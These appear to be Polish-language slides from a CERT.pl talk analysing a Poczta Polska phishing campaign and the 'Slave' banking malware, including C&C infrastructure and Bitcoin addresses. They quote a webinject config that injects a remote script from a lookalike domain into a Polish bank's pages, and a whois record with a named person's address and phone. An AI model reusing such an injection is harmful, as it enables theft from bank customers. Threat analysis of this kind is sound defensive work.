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Poczta Polska – phishing
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Polska nie jest wyjątkowa

Źródło: Blog TrendMicro
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No i nie tylko Poczta Polska...
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Rzut oka na statystyki wyświetleń
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No to trzeba coś z tym Androidem zrobić!
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Sukces nie zależy od systemu czy przeglądarki
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Ale przecież Crypt0locker jest nudny...
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Co to jest Slave?

{
"pre": "</title >",
"post": "<",
"target": "*. pekao24.pl*",
"inj": "<script type =\" text/javascript \" src =\"// www.

gtagmanager.com/js/get.php?key=vTeJ5ZEbXaB7jNU3iDC5&
id=4\"></script >"

}
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Polskie instytucje? Monitorowanie schowka?...

Źródło: f5 ”Slave” Malware Analysis Report
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Slave i tajemnica Bitcoina

/info.php?key=[(kawałek) adresu Bitcoin]

1NoKsR7jcTTufgrvh6zyvyJmL2z73aQXQP (0 BTC)

18dfcnDfeCEpxJLBipBaW5PYLMgSuh7mYx (133 BTC)

DxoKI4EEMZwJGIw5SUxMCIHBQRKA4U

hQEMAwWjOozTqt1iAQgAjYKm8wz7gq5

19MVRWRQoBA8ZaFbDEjwS9

vTeJ5ZEbXaB7jNU3iDC5

BaW5PYLMgSuh7mYx
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Ciekawy zakres IP

inetnum: 46.161.30.0 - 46.161.30.255
netname: KolosokIvan-net
descr: Net for customer ID 12510
country: RU
admin-c: KI811-RIPE
tech-c: KI811-RIPE
status: ASSIGNED PA
mnt-by: MNT-PIN
mnt-routes: ISPSYSTEM-MNT
mnt-by: MNT-PINSUPPORT
created: 2013-09-04T08:54:41Z
last-modified: 2015-08-27T14:50:47Z

person: Kolosok Ivan
address: ul Lenina 19-56
phone: +380766553642
nic-hdl: KI811-RIPE
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Co tam jest?

Phishing pocztowy

Serwery C&C: Slave, Crypt0locker, ...

Exploit kity na przejętych kontach afraid.org

Programy lojalnościowe kasyna

Nazwy domenowe wskazujące na sprzedaż ”niebieskich pigułek”:

bluerxproduct.com rxwebstore.ru

Nazwy domenowe wskazujące na pornografię:

mega-fuckbook.com 18pretty.net
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Przespałeś prezentację? Nie szkodzi!

http://cert.pl/PDF/Grupa Pocztowa.pdf

http://cert.pl/PDF/The Postal Group.pdf

EN PL
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Ostatni slajd

Dziękuję za uwagę
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